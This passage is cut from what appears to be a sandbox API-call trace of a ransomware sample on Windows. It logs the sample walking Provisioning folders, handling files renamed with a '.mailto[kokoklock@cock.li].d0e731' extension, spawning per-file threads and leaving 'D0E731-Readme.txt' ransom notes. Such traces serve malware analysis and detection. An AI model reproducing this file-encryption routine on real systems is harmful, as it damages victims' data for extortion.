dwFileAttributes=0x20) returned 0 [0175.006] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.006] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.007] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fc68) returned 1 [0175.007] RtlExitUserThread (Status=0x0) Thread: id = 2354 os_tid = 0xf28 [0175.009] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.009] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.009] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.009] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.009] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d4f8) returned 1 [0175.009] RtlExitUserThread (Status=0x0) Thread: id = 2355 os_tid = 0xf2c [0175.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83a18 [0175.010] wcscpy (in: _Dest=0x2f83a18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0175.010] wcscat (in: _Dest=0x2f83a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0175.010] wcscat (in: _Dest=0x2f83a18, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*" [0175.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30218b0 [0175.011] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbb7e57, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044ce8 [0175.011] wcscmp (_String1=".", _String2=".") returned 0 [0175.011] FindNextFileW (in: hFindFile=0x3044ce8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbb7e57, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.011] wcscmp (_String1="..", _String2=".") returned 1 [0175.011] wcscmp (_String1="..", _String2="..") returned 0 [0175.011] FindNextFileW (in: hFindFile=0x3044ce8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbb7e57, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bbb7e57, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.011] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.011] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.011] FindNextFileW (in: hFindFile=0x3044ce8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cbf5e59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cbf5e59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.011] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.011] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0aee0 [0175.011] wcscpy (in: _Dest=0x4f0aee0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0175.011] wcscat (in: _Dest=0x4f0aee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0175.011] wcscat (in: _Dest=0x4f0aee0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0175.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0aee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0175.512] FindNextFileW (in: hFindFile=0x3044ce8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x317, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 1 [0175.513] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.513] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.513] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305cc38 [0175.513] wcscpy (in: _Dest=0x305cc38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0175.513] wcscat (in: _Dest=0x305cc38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0175.513] wcscat (in: _Dest=0x305cc38, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0175.513] FindNextFileW (in: hFindFile=0x3044ce8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bbb7e57, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x317, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 0 [0175.513] FindClose (in: hFindFile=0x3044ce8 | out: hFindFile=0x3044ce8) returned 1 [0175.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30218b0) returned 1 [0175.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83a18) returned 1 [0175.514] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30557b0) returned 1 [0175.514] RtlExitUserThread (Status=0x0) Thread: id = 2356 os_tid = 0xf30 [0175.012] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.013] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.013] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.013] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fb50) returned 1 [0175.013] RtlExitUserThread (Status=0x0) Thread: id = 2357 os_tid = 0xf34 [0175.015] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.015] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.015] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.016] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d840) returned 1 [0175.016] RtlExitUserThread (Status=0x0) Thread: id = 2358 os_tid = 0xf38 [0175.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83ad0 [0175.017] wcscpy (in: _Dest=0x2f83ad0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0175.017] wcscat (in: _Dest=0x2f83ad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0175.017] wcscat (in: _Dest=0x2f83ad0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*" [0175.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021b18 [0175.017] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbde001, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044d28 [0175.018] wcscmp (_String1=".", _String2=".") returned 0 [0175.018] FindNextFileW (in: hFindFile=0x3044d28, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bbde001, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.018] wcscmp (_String1="..", _String2=".") returned 1 [0175.018] wcscmp (_String1="..", _String2="..") returned 0 [0175.018] FindNextFileW (in: hFindFile=0x3044d28, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbde001, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bbde001, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.018] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.018] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.018] FindNextFileW (in: hFindFile=0x3044d28, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cb11022, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb11022, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.018] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.018] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0afa8 [0175.018] wcscpy (in: _Dest=0x4f0afa8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0175.018] wcscat (in: _Dest=0x4f0afa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0175.018] wcscat (in: _Dest=0x4f0afa8, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime" [0175.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0afa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0175.510] FindNextFileW (in: hFindFile=0x3044d28, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.510] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.510] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.510] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305cb20 [0175.510] wcscpy (in: _Dest=0x305cb20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" [0175.510] wcscat (in: _Dest=0x305cb20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\" [0175.510] wcscat (in: _Dest=0x305cb20, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0175.511] FindNextFileW (in: hFindFile=0x3044d28, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bbde001, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.511] FindClose (in: hFindFile=0x3044d28 | out: hFindFile=0x3044d28) returned 1 [0175.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021b18) returned 1 [0175.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83ad0) returned 1 [0175.511] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055868) returned 1 [0175.511] RtlExitUserThread (Status=0x0) Thread: id = 2359 os_tid = 0xf3c [0175.019] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.020] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.020] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.020] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90988) returned 1 [0175.020] RtlExitUserThread (Status=0x0) Thread: id = 2360 os_tid = 0xf40 [0175.021] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.022] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.022] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.022] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.022] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d958) returned 1 [0175.022] RtlExitUserThread (Status=0x0) Thread: id = 2361 os_tid = 0xf44 [0175.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83b88 [0175.023] wcscpy (in: _Dest=0x2f83b88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0175.023] wcscat (in: _Dest=0x2f83b88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\" 